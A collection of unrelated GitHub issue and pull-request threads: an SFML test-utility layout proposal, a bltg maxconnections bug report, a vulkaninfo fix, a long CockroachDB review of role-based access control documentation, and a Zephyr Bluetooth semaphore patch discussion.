Keep test utilities alongside the files that use them

Description
A given .hpp/.cpp pair of test utilities is only needed by one module's tests. It's more readable and less error prone to keep those files alongside the .cpp files that need them than to keep everything in one directory where unexpected dependencies can be created that make tests harder to reason about and manually verify their correctness.
Ultimately we should just delete these files since I know Catch2 didn't use these toString overloads and doctest may not either. I recommend the pattern I used in test/System/Time.cpp where I added an operator<< overload at the top of the file. This means a given public header can be tested with a single test .cpp file and nothing more. Let's keep things simple.
Tasks

[ ] Tested on Linux
[ ] Tested on Windows
[x] Tested on macOS
[ ] Tested on iOS
[ ] Tested on Android

SFMLBuildMaster: Build this please.

There are two ways to see this -- none is significantly more readable or less error-prone per se:

All files in the Graphics, System folders etc. are actual test cases, so everything that's not a test case is in a separate directory
Everything related to a module is in its corresponding folder

The 2nd approach (this PR) breaks down however as soon as you have utilities that are needed by multiple modules (unless you want to include System/SystemUtil.hpp from a Graphics test). I'm not even sure if this categorization of utils works in the first place.
Other than that, I don't mind much either way.

We can have both benefits though. We just don't need these utilities files. The relevant bits from each file can live in a single .cpp file. If you're testing Widget.hpp, there will be a test file called Widget.cpp that contains the tests as well as an operator<< overload for Widget that gives you pretty printing. No accessory files needed. Every .cpp file in test/ will contain tests.

I went ahead and removed the utilities files so you can see what it would like to have no test utilities files. As far as I'm aware, removing these files in this manner does not remove functionality whatsoever. Any desired printing functionality is implemented within the test file itself.
Turns out the printing function for sf::Rect was in the WindowUtils.hpp file which doesn't make sense. Those are the kinds of unexpected things that I'm trying to prevent by not having these utilities files.

SFMLBuildMaster: Build this pleaes.

SFMLBuildMaster: Build this please.

Closing this PR because as I write more tests I'm realizing how the current layout is better than what I'm recommending. In particular the tests for other modules will need the printers from SystemUtils because so many APIs use stuff like sf::Vector2. I still think there's some cleanup to be done to minimize the complexity of these utilities files but that's for a different PR.


bltg.conf file's "maxconnection" not being observed.

Within the .bltg/bltg.conf file there is the variable maxconnections that could be used and set to establish a maximum number of connections to the wallet service/daemon.
I am noticing this variable is NOT being observed unfortunately.  As a result, a MN's wallet can be flooded if not pseudo DoS due to excessive number of connections from other sources.
Please investigate and resolve.  Thanks in advance.

Are you certain that is the config file being loaded? If you used the masternode script to install, the actual config file loaded is at /etc/masternodes/bltg_n#.conf

Yes since I am not using another's "masternode script" to do the installations.

Can't pinpoint the actual issue here. maxconnections is being respected in multiple wallets and no other issues have been reported. Recommend double checking the correct bltg.conf is being used.
Closing this for now.


vulkaninfo: Fix initializing vectors of structs

sType was never set correctly

CI Vulkan-Tools build queued with queue ID 318605.

CI Vulkan-Tools build # 1587 running.

CI Vulkan-Tools build # 1587 passed.

I knew I missed something in my PR to call enumerate functions only once...
How did you find this? Validation failure?

vulkaninfo asserted in radv

Ah, apologies for the inconvenience! Thank you for finding and fixing this.


RBAC docs

Closes ##2007, #2184.
To Do:

[x] Update / add SQL diagrams
[x] Add SQL diagrams for REVOKE and GRANT
[x] Break out new pages for REVOKE <role> and GRANT <role>
[x] Small edits re: #2184
Add ALTER USER ... WITH PASSWORD ... doc created separate issue: #2817

This change is

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/cb966620127939b99843baceb31e26e5975cfa7a/

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/3a2d93b224b00bb26a05944e8b275bbcba564d37/

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/abfedda858be92676ff94e0bbb7c82bcf77a7917/

@mberhault, if you want to get started on the review, you can. I just need to update the SQL diagrams.

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/2f42d1a35db0db5f7256d96fb450e40fd60707b5/

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/e1b70252fc58e20251e32728fdf53b55aec397ed/

Review status: 0 of 25 files reviewed at latest revision, 16 unresolved discussions, some commit checks failed.

v2.0/create-role.md, line 13 at r9 (raw file):
Previously, mberhault (marc) wrote…
This should probably look a bit like the Considerations section of users. The name rules are exactly the same so can be copied verbatim.

Made the CREATE USER name rules look like CREATE ROLE's. It's the same content, just structured in an easier-to-read way.

v2.0/create-role.md, line 26 at r9 (raw file):
Previously, mberhault (marc) wrote…
s/memeber/member/

Done.

v2.0/create-role.md, line 54 at r9 (raw file):
Previously, mberhault (marc) wrote…
This should probably point to both GRANT roles and GRANT privileges since we're mentioning both possible actions (adding users, and granting privileges)

Done.

v2.0/grant-roles.md, line 25 at r9 (raw file):
Previously, mberhault (marc) wrote…
It would be good to re-iterate the "no membership cycle" rule, this is where it's applied.

Done.

v2.0/revoke-roles.md, line 36 at r9 (raw file):
Previously, mberhault (marc) wrote…
We should show the output of SHOW GRANTS ON ROLE design; before revoking the membership, otherwise it's hard to tell that the revoke did something.

Done.

v2.0/roles.md, line 12 at r2 (raw file):
Previously, lhirata wrote…
(Am going to create new GRANT role and REVOKE role pages)

Done.

v2.0/roles.md, line 185 at r9 (raw file):
Previously, mberhault (marc) wrote…
extra "the": ... before it can be dropped.

Done.

v2.0/show-roles.md, line 17 at r3 (raw file):
Previously, mberhault (marc) wrote…
... to list roles instead of ... to list users

Done.

Comments from Reviewable

Review status: 0 of 25 files reviewed at latest revision, 16 unresolved discussions.

v2.0/create-role.md, line 25 at r9 (raw file):
Previously, mberhault (marc) wrote…
s/certs/certificates/ (sorry, that was me being terse).

Done.

Comments from Reviewable

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/72eb89e8e2547168ce307bc13957f3eb36fbdf2f/

This is excellent work, @lhirata! Thank you. I need to review/test everything more closely, which I'll try to get to later tonight, but for now, I've included some nits for you to fix.
Also, all of the new statements need to be added to sql-statements.md.

Review status: 0 of 25 files reviewed at latest revision, 16 unresolved discussions, some commit checks failed.

_includes/sidebar-data-v2.0.json, line 1106 at r10 (raw file):

        "items": [
          {
            "title": "Manage Roles",

Let's call out enterprise here:
"title": "Manage Roles (Enterprise)",

v2.0/create-role.md, line 40 at r10 (raw file):

| Parameter | Description |
------------|--------------
`name` | The name of the role you want to create. Role names are case-insensitive; must start with either a letter or underscore; must contain only letters, numbers, or underscores; and must be between 1 and 63 characters.

Note that roles and [users](create-user.html) share the same namespace and must be unique.

nit: Change the semicolons to commas (since we're separating phrases and not independent clauses/sentences).

v2.0/create-role.md, line 60 at r10 (raw file):

- [Manage Roles](roles.html)
- [`DROP ROLE` (Enterprise)](drop-user.html)
- [`SHOW ROLE`](show-users.html)

This should be SHOW ROES and should link to show-roles.html. Do you also want to list SHOW USERS?

v2.0/grant-roles.md, line 37 at r10 (raw file):

## Examples

### Grant role membership

This is a style nit, but we generally use sentence-case for example titles, so Grant Role Membership. You've done that in some but not all other pages, so please update them all.
I'm not tied to this convention, though, so we can reconsider as part of our style guide conversations.

v2.0/grant-roles.md, line 63 at r10 (raw file):

{% include copy-clipboard.html %}
~~~ sql
> GRANT design WITH TO ERNIE WITH ADMIN OPTION;

I think the first WITH needs to be removed?

v2.0/revoke-roles.md, line 23 at r10 (raw file):

## Considerations

- The `root` user can not be revoked from the `admin` role.

nit: cannot

v2.0/show-roles.md, line 2 at r10 (raw file):

---
title: SHOW ROLES

You need to add this statement to the sidenav.

Comments from Reviewable

Added. TFTR!

Review status: 0 of 25 files reviewed at latest revision, 23 unresolved discussions, some commit checks failed.

_includes/sidebar-data-v2.0.json, line 1106 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Let's call out enterprise here:
"title": "Manage Roles (Enterprise)",

Done.

v2.0/create-role.md, line 40 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
nit: Change the semicolons to commas (since we're separating phrases and not independent clauses/sentences).

I think the semi-colomn usage is correct here - there's a comma-separated list within the list. That being said, I could change it to be a bulleted list for better readability. Thoughts?

v2.0/create-role.md, line 60 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
This should be SHOW ROES and should link to show-roles.html. Do you also want to list SHOW USERS?

Done.

v2.0/grant-roles.md, line 37 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
This is a style nit, but we generally use sentence-case for example titles, so Grant Role Membership. You've done that in some but not all other pages, so please update them all.
I'm not tied to this convention, though, so we can reconsider as part of our style guide conversations.

If we use sentence case, wouldn't this one still be "Grant role membership"? Or are we considering "role membership" to be a proper noun? I'll go through and change the new examples to sentence case.

v2.0/grant-roles.md, line 63 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
I think the first WITH needs to be removed?

Done.

v2.0/revoke-roles.md, line 23 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
nit: cannot

Done.

v2.0/show-roles.md, line 2 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
You need to add this statement to the sidenav.

Done.

Comments from Reviewable

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/1a69e23c17565de4dc3704ebe9f11fec769b5fac/

Added some final nits and questions, @lhirata. LGTM once they're resolved.

Review status: 0 of 26 files reviewed at latest revision, 22 unresolved discussions, some commit checks failed.

v2.0/create-role.md, line 40 at r10 (raw file):
Previously, lhirata wrote…
I think the semi-colomn usage is correct here - there's a comma-separated list within the list. That being said, I could change it to be a bulleted list for better readability. Thoughts?

You're right. Sorry about that. You can leave as-is or use bullets; you're call.

v2.0/create-role.md, line 9 at r11 (raw file):

New in v2.0: The `CREATE ROLE` [statement](sql-statements.html) creates SQL [roles](roles.html), which are groups containing any number of roles and users as members. You can assign privileges to roles, and all members of the role (regardless of whether if they are direct or indirect members) will inherit the role's privileges.

{{site.data.alerts.callout_info}}CREATE ROLE is an enterprise-only feature.{{site.data.alerts.end}}

This callout is slightly different for different statements. Can you choose one pattern and use it everywhere?

v2.0/grant.md, line 27 at r11 (raw file):
nit:

The root user automatically belongs to the admin role and has the ALL privilege for new databases.

v2.0/grant.md, line 49 at r11 (raw file):

`user_name` | A comma-separated list of [users](create-and-manage-users.html) and/or [roles](roles.html) to whom you want to grant privileges.

## Examples

Should we rename these examples to be about users and add an example or two specific to granting privileges to roles? Not sure.

v2.0/grant-roles.md, line 37 at r10 (raw file):
Previously, lhirata wrote…
If we use sentence case, wouldn't this one still be "Grant role membership"? Or are we considering "role membership" to be a proper noun? I'll go through and change the new examples to sentence case.

I meant "title case." Sorry if I caused unnecessary changes here. We use title case for most headings (except steps that are headings). Again, though, we could choose to change this convention later.

v2.0/grant-roles.md, line 28 at r11 (raw file):

- Membership loops are not allowed (direct: `A is a member of B is a member of A` or indirect: `A is a member of B is a member of C ... is a member of A`).

## Parameters

We should probably add a role for WITH ADMIN OPTION with a brief description.

v2.0/revoke.md, line 30 at r11 (raw file):

## Examples

Same as for GRANT <privileges>: Should we rename these examples to be about users and add an example or two specific to granting privileges to roles? Not sure.

v2.0/revoke-roles.md, line 25 at r11 (raw file):

- The `root` user cannot be revoked from the `admin` role.

## Parameters

We should probably add a row for ADMIN OPTION FOR with a brief description.

v2.0/roles.md, line 28 at r11 (raw file):

Role | A group containing any number of [users](create-and-manage-users.html) or other roles.
Role admin | A member of the role that's allowed to modify role membership. To create a role admin, use [`WITH ADMIN OPTION`](grant-roles.html#grant-the-admin-option).
Superuser / Admin | A member of the `admin` role. Only superusers can `CREATE ROLE` or `DROP ROLE`. The `admin` role is created by default and cannot be dropped.

Let's make CREATE ROLE and DROP ROLE links here.

v2.0/roles.md, line 31 at r11 (raw file):

`root` | A user that exists by default as a member of the `admin` role. The `root` user must always be a member of the `admin` role.
Inherit | The behavior that grants a role's privileges to its members.
Direct member | A user or role that is an immediate member of the role.

Example: `A` is a direct member of `B` if `A` is a member of `B`.

nit: Can tighten the example by removing "A is a direct member of B if"

v2.0/roles.md, line 32 at r11 (raw file):

Inherit | The behavior that grants a role's privileges to its members.
Direct member | A user or role that is an immediate member of the role.

Example: `A` is a direct member of `B` if `A` is a member of `B`.
Indirect member | A user or role that is a member of the role by association.

Example: `A` is an indirect member of `B` if `A` is a member of `C` ... is a member of `B` where "..." is an arbitrary number of memberships.

nit: Can tighten the example by removing: "A is an indirect member of B if".

v2.0/roles.md, line 36 at r11 (raw file):

## Example

For the purpose of this example, you need only one CockroachDB node running in insecure mode:

We also need to remind users that this example won't work without an enterprise license.  I forgot and just ran through the steps until:
root@:26257/test_roles> CREATE ROLE system_ops;
pq: use of CREATE ROLE requires an enterprise license. see https://cockroachlabs.com/pricing?cluster=a634df3f-a623-4ffb-831e-c664e60fe918 for details on how to enable enterprise features

v2.0/roles.md, line 108 at r11 (raw file):
I'd suggest a slight rewrite here:

To test the privileges you just added to the system_ops role, use \q or ctrl-d to exit the interactive shell, and then open the shell again as the maxroach user (who is a member of the system_ops role):

v2.0/roles.md, line 116 at r11 (raw file):

{% include copy-clipboard.html %}
~~~ shell
$ cockroach sql --user=maxroach --insecure

You might add --database=test_roles to make maxroach log in just to that database. This is the equivalent of SET DATABASE = test_roles, so you would then not need to qualify the statements below.

v2.0/roles.md, line 159 at r11 (raw file):

{% include copy-clipboard.html %}
~~~ sql
> SHOW GRANTS ON ROLE system_ops;

This one didn't work for me:
maxroach@:26257/> SHOW GRANTS ON ROLE system_ops;
pq: user maxroach does not have SELECT privilege on relation role_members

On the SHOW GRANTS page, we say you don't need any privileges to SHOW GRANTS, but I think this may have chanced in the meantime, or may be different for roles than for privileges.

v2.0/roles.md, line 189 at r11 (raw file):

{% include copy-clipboard.html %}
~~~ sql
> DROP ROLE system_ops;

Dropping didn't work for me:
root@:26257/> DROP ROLE system_ops;
pq: cannot drop user or role system_ops: grants still exist on test_roles.public.employees

v2.0/show-grants.md, line 33 at r11 (raw file):

### Show all grants New in v2.0

To list all grants for all users on all databases and tables:

all users > all users and roles.

v2.0/show-grants.md, line 52 at r11 (raw file):

~~~

### Show a specific user's grants New in v2.0

a specific user or role's grants?

v2.0/show-grants.md, line 231 at r11 (raw file):

~~~

## See Also

Can you expand the See Also list as you done elsewhere?

v2.0/show-roles.md, line 17 at r3 (raw file):
Previously, lhirata wrote…
Done.

This isn't true, based on my testing. I have a user, maxroach, who doesn't have any privileges (I dropped the role he was assigned to):
maxroach@:26257/> show roles;
pq: user maxroach does not have SELECT privilege on relation users

@mberhault, is this a bug?

v2.0/show-roles.md, line 13 at r11 (raw file):

## Synopsis

{% include sql/{{ page.version.version }}/diagrams/show_roles.html %}

@knz called out in a separate PR that we should be using
 here. There are some edge cases where the page won't remember correctly; in those cases, we can use
 as a workaround.

v2.0/sql-statements.md, line 81 at r11 (raw file):

[`SHOW`](show-vars.html) | View the current [transaction settings](transactions.html).

## Privilege Management Statements

Should we rename this section Access Management Statements?

v2.0/sql-statements.md, line 88 at r11 (raw file):

[`CREATE USER`](create-user.html) | Create SQL users, which lets you control [privileges](privileges.html) on your databases and tables.
[`DROP ROLE`](drop-role.html) | New in v2.0: Remove one or more SQL [roles](roles.html).
[`DROP USER`](drop-user.html) | Remove SQL users.

To match the pattern for DROP ROLE: Remove one or more SQL users.

v2.0/sql-statements.md, line 89 at r11 (raw file):

[`DROP ROLE`](drop-role.html) | New in v2.0: Remove one or more SQL [roles](roles.html).
[`DROP USER`](drop-user.html) | Remove SQL users.
[`GRANT <privileges>`](grant.html) | Grant privileges to users.

to users or roles

v2.0/sql-statements.md, line 91 at r11 (raw file):

[`GRANT <privileges>`](grant.html) | Grant privileges to users.
[`GRANT <roles>`](grant-roles.html) | New in v2.0: Add a [role](roles.html) or [user](create-and-manage-users.html) as a member to a role.
[`REVOKE <privileges>`](revoke.html) | Revoke privileges from users.

from users or roles

v2.0/sql-statements.md, line 94 at r11 (raw file):

[`REVOKE <roles>`](revoke-roles.html) | New in v2.0: Revoke a [role](roles.html) or [user's](create-and-manage-users.html) membership to a role.
[`SHOW GRANTS`](show-grants.html) | View privileges granted to users.
[`SHOW USERS`](show-users.html) | Lists the users for all databases.

Still need to add SHOW ROLES.

Comments from Reviewable

v2.0/create-role.md, line 60 at r10 (raw file):
Previously, lhirata wrote…
Done.

Looks like this hasn't actually changed, @lhirata.

Comments from Reviewable

v2.0/show-roles.md, line 17 at r3 (raw file):
Previously, mberhault (marc) wrote…
It's the same as SHOW USERS, you need SELECT permissions on the system table.

Oh, it looks like the documented privileges for SHOW USERS has been wrong all along. But I don't think we ever talk about granting privileges to an internal table. Is that really something that we want to tell users to do?

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 42 unresolved discussions, some commit checks failed.

v2.0/show-roles.md, line 17 at r3 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Oh, it looks like the documented privileges for SHOW USERS has been wrong all along. But I don't think we ever talk about granting privileges to an internal table. Is that really something that we want to tell users to do?

Yeah, that's the case for a few things that query system tables. We could probably allow everyone to query those (it's already doable through virtual tables), but that'll have to be decided later.

Comments from Reviewable

v2.0/show-roles.md, line 17 at r3 (raw file):
Previously, mberhault (marc) wrote…
Yeah, that's the case for a few things that query system tables. We could probably allow everyone to query those (it's already doable through virtual tables), but that'll have to be decided later.

OK, thanks. I created to document this properly.

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 42 unresolved discussions, some commit checks failed.

v2.0/create-role.md, line 40 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
You're right. Sorry about that. You can leave as-is or use bullets; you're call.

Done.

v2.0/create-role.md, line 60 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Looks like this hasn't actually changed, @lhirata.

Looks updated in my local but I'll double check once it's pushed. (tentatively) Done.

v2.0/create-role.md, line 9 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
This callout is slightly different for different statements. Can you choose one pattern and use it everywhere?

Done.

v2.0/grant.md, line 27 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
nit:

The root user automatically belongs to the admin role and has the ALL privilege for new databases.

Done.

v2.0/grant.md, line 49 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Should we rename these examples to be about users and add an example or two specific to granting privileges to roles? Not sure.

Don't think it's necessary since the syntax is the exact same.

v2.0/grant-roles.md, line 37 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
I meant "title case." Sorry if I caused unnecessary changes here. We use title case for most headings (except steps that are headings). Again, though, we could choose to change this convention later.

Done.

v2.0/grant-roles.md, line 28 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
We should probably add a role for WITH ADMIN OPTION with a brief description.

Done.

v2.0/revoke.md, line 30 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Same as for GRANT <privileges>: Should we rename these examples to be about users and add an example or two specific to granting privileges to roles? Not sure.

Going to keep it how it is for now. I think it's ok since it's the same syntax.

v2.0/revoke-roles.md, line 25 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
We should probably add a row for ADMIN OPTION FOR with a brief description.

Done.

v2.0/roles.md, line 28 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Let's make CREATE ROLE and DROP ROLE links here.

Done.

v2.0/roles.md, line 32 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
nit: Can tighten the example by removing: "A is an indirect member of B if".

Done.

v2.0/roles.md, line 36 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
We also need to remind users that this example won't work without an enterprise license.  I forgot and just ran through the steps until:
root@:26257/test_roles> CREATE ROLE system_ops;
pq: use of CREATE ROLE requires an enterprise license. see https://cockroachlabs.com/pricing?cluster=a634df3f-a623-4ffb-831e-c664e60fe918 for details on how to enable enterprise features

Done.

v2.0/roles.md, line 108 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
I'd suggest a slight rewrite here:

To test the privileges you just added to the system_ops role, use \q or ctrl-d to exit the interactive shell, and then open the shell again as the maxroach user (who is a member of the system_ops role):

Done.

v2.0/roles.md, line 116 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
You might add --database=test_roles to make maxroach log in just to that database. This is the equivalent of SET DATABASE = test_roles, so you would then not need to qualify the statements below.

Done.

v2.0/show-grants.md, line 33 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
all users > all users and roles.

Done.

v2.0/show-grants.md, line 52 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
a specific user or role's grants?

Done.

v2.0/show-grants.md, line 231 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Can you expand the See Also list as you done elsewhere?

Done.

v2.0/show-roles.md, line 17 at r3 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
OK, thanks. I created to document this properly.

Edited the SHOW ROLES and SHOW USERS parameters

v2.0/show-roles.md, line 13 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
@knz called out in a separate PR that we should be using
 here. There are some edge cases where the page won't remember correctly; in those cases, we can use
 as a workaround.

This one wsasn't rendering correctly, so I added the
 tags

v2.0/sql-statements.md, line 81 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Should we rename this section Access Management Statements?

Done.

v2.0/sql-statements.md, line 88 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
To match the pattern for DROP ROLE: Remove one or more SQL users.

Done.

v2.0/sql-statements.md, line 89 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
to users or roles

Done.

v2.0/sql-statements.md, line 91 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
from users or roles

Done.

v2.0/sql-statements.md, line 94 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Still need to add SHOW ROLES.

Done.

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, some commit checks failed.

v2.0/create-role.md, line 60 at r10 (raw file):
Previously, lhirata wrote…
Looks updated in my local but I'll double check once it's pushed. (tentatively) Done.

Strange. Reviewable is still showing me:
- [`SHOW ROLE`](show-users.html)

v2.0/grant.md, line 27 at r11 (raw file):
Previously, lhirata wrote…
Done.

Still don't see this update, but it might be something strange with my reviewable.

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, some commit checks failed.

v2.0/roles.md, line 31 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
nit: Can tighten the example by removing "A is a direct member of B if"

Done.

v2.0/roles.md, line 159 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
This one didn't work for me:
maxroach@:26257/> SHOW GRANTS ON ROLE system_ops;
pq: user maxroach does not have SELECT privilege on relation role_members

On the SHOW GRANTS page, we say you don't need any privileges to SHOW GRANTS, but I think this may have chanced in the meantime, or may be different for roles than for privileges.

Yeah, not working for me either. I removed this statement from the example. I tried doing SHOW GRANTS ON ROLE system_ops when maxroach is a role admin too and I still get the same error. @mberhault, what are the requirements for SHOW GRANTS ON ROLE? Only superusers?

v2.0/roles.md, line 189 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Dropping didn't work for me:
root@:26257/> DROP ROLE system_ops;
pq: cannot drop user or role system_ops: grants still exist on test_roles.public.employees

This seems to be unexpected behavior.  After each one, even though it says it revoked, SHOW GRANTS shows that the privileges weren't revoked. @mberhault, is this a bug?

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, some commit checks failed.

v2.0/create-role.md, line 60 at r10 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Strange. Reviewable is still showing me:
- [`SHOW ROLE`](show-users.html)

It might be because you're viewing the file before I push the changes. Let me know if you can see the update now. If not, I'll see if I can figure out what's wrong

Comments from Reviewable

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/05b9e845c079b2d1912ad5d8e2433ddcbaa796c4/

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, some commit checks failed.

v2.0/grant.md, line 27 at r11 (raw file):
Previously, jseldess (Jesse Seldess) wrote…
Still don't see this update, but it might be something strange with my reviewable.

Same as above

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, some commit checks pending.

v2.0/create-role.md, line 60 at r10 (raw file):
Previously, lhirata wrote…
It might be because you're viewing the file before I push the changes. Let me know if you can see the update now. If not, I'll see if I can figure out what's wrong

My mistake, I was looking at the wrong link. It should be fixed now!

Comments from Reviewable

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/0f4586c0700495dcfea821dee19b2eefd92c2470/

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/498acf8e77a18e042895450889cfe7e118a6a99e/

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, all commit checks successful.

v2.0/roles.md, line 159 at r11 (raw file):
Previously, lhirata wrote…
Yeah, not working for me either. I removed this statement from the example. I tried doing SHOW GRANTS ON ROLE system_ops when maxroach is a role admin too and I still get the same error. @mberhault, what are the requirements for SHOW GRANTS ON ROLE?  SHOW GRANTS ON ROLE does require privileges on the system table. I should change that to be similar to the privilege view and show you anything you have some privilege on (or anything you're a member of). That'll have to be for 2.1 though.

v2.0/roles.md, line 189 at r11 (raw file):
Previously, lhirata wrote…
This seems to be unexpected behavior.  After each one, even though it says it revoked, SHOW GRANTS shows that the privileges weren't revoked. @mberhault, is this a bug?

That definitely shouldn't happen, but I can't reproduce this. I added a role, gave it privileges, added a user to the role, had the user revoke the group's privileges on the table and database, and show grants shows the expected change in privileges at each step. I'll run through the example here tomorrow.

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, all commit checks successful.

v2.0/roles.md, line 189 at r11 (raw file):
Previously, mberhault (marc) wrote…
That definitely shouldn't happen, but I can't reproduce this. I added a role, gave it privileges, added a user to the role, had the user revoke the group's privileges on the table and database, and show grants shows the expected change in privileges at each step. I'll run through the example here tomorrow.

oh, wait.  FROM system_ops; to drop the privileges on the table (it inherited privileges from the database). The steps above only drop from the database. In addition, show grants is showing the privileges still held on the table, which is as expected. After removing the privileges on the table, you can finally drop the role.

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, all commit checks successful.

v2.0/roles.md, line 159 at r11 (raw file):
Previously, mberhault (marc) wrote…
oh, yes. SHOW GRANTS ON ROLE does require privileges on the system table. I should change that to be similar to the privilege view and show you anything you have some privilege on (or anything you're a member of). That'll have to be for 2.1 though.

Ok, updated the Required Privileges for SHOW GRANTS ON ROLE.

v2.0/roles.md, line 189 at r11 (raw file):
Previously, mberhault (marc) wrote…
oh, wait.  FROM system_ops; to drop the privileges on the table (it inherited privileges from the database). The steps above only drop from the database. In addition, show grants is showing the privileges still held on the table, which is as expected. After removing the privileges on the table, you can finally drop the role.

Ok, running REVOKE ON TABLE worked and then I was able to drop the role. Updated the steps to reflect that process.

Comments from Reviewable

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/9a18752766108c8f34519e50f09336c2eb2706b9/

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, all commit checks successful.

v2.0/roles.md, line 189 at r11 (raw file):
Previously, lhirata wrote…
Ok, running REVOKE ON TABLE worked and then I was able to drop the role. Updated the steps to reflect that process.

Glad to hear it. Did you still see any weirdness with SHOW GRANTS?

Comments from Reviewable

Review status: 0 of 26 files reviewed at latest revision, 38 unresolved discussions, all commit checks successful.

v2.0/roles.md, line 189 at r11 (raw file):
Previously, mberhault (marc) wrote…
Glad to hear it. Did you still see any weirdness with SHOW GRANTS?

Nope, SHOW GRANTS worked as expected

Comments from Reviewable

http://cockroach-docs-review.s3-website-us-east-1.amazonaws.com/fbf25e2ef72a3f89b88a259b91216b4991d3ad23/


Bluetooth: host: Release TX sem if taken and chan_send fails

Release the TX semaphore, if it was taken, but the call to
chan_send failed.
Signed-off-by: Joakim Andersson<EMAIL_ADDRESS>

https://github.com/zephyrproject-rtos/zephyr/blob/1342d12500867d3de09025037e65e756d5486eba/subsys/bluetooth/host/att.c#L302-L315
When bt_att_chan_send_rsp called and not call k_sem_take,  the bt_att_sent will be call when l2cap layer send this package successfully. If at this time the chan->tx_queue and att->tx_queue empty, so bt_att_sent will be call k_sem_give.

https://github.com/zephyrproject-rtos/zephyr/blob/1342d12500867d3de09025037e65e756d5486eba/subsys/bluetooth/host/att.c#L302-L315
When bt_att_chan_send_rsp called and not call k_sem_take, the bt_att_sent will be call when l2cap layer send this package successfully. If at this time the chan->tx_queue and att->tx_queue empty, so bt_att_sent will be call k_sem_give.

But there are not instances of bt_att_chan_sen_rsp not setting a callback so it should allways take the tx_sem or are you seeing this somehow?

https://github.com/zephyrproject-rtos/zephyr/blob/1342d12500867d3de09025037e65e756d5486eba/subsys/bluetooth/host/att.c#L302-L315
When bt_att_chan_send_rsp called and not call k_sem_take, the bt_att_sent will be call when l2cap layer send this package successfully. If at this time the chan->tx_queue and att->tx_queue empty, so bt_att_sent will be call k_sem_give.

But there are no instances of bt_att_chan_sen_rsp not setting a callback so it should allways take the tx_sem or are you seeing this somehow? The whole idea here is that only packets that need flow control do take the tx_sem but in case the user has set its own cb we cannot do it since the TX complete logic can only carry one callback as context, so bt_att_sent shall only be called for those packets requiring flow control (taking tx_sem).

Yes, there are no instances of bt_att_chan_sen_rsp not setting a callback, why you say they should always take tx_sem, if cb not setting null, it's should not take tx_sem(see bt_att_chan_send implemation).
https://github.com/zephyrproject-rtos/zephyr/blob/1342d12500867d3de09025037e65e756d5486eba/subsys/bluetooth/host/att.c#L458-L479
/* Don't use tx_sem if caller has set it own callback */
if (!cb) {
	if (k_sem_take(&chan->tx_sem, K_NO_WAIT) < 0) {
		return -EAGAIN;
	}
}

@LingaoM I'm not following exactly what you are trying to say, can you please clarify?

But there are no instances of bt_att_chan_sen_rsp not setting a callback so it should allways take the tx_sem or are you seeing this somehow?

What @Vudentz  means is that all bt_att_chan_sen_rsp calls are set with non-empty function callbacks, therefore, always take k_sem before sending?
However, if you look at the implementation of this bt_att_chan_send function, you will know that it does not take k_sem.

But there are no instances of bt_att_chan_sen_rsp not setting a callback so it should allways take the tx_sem or are you seeing this somehow?

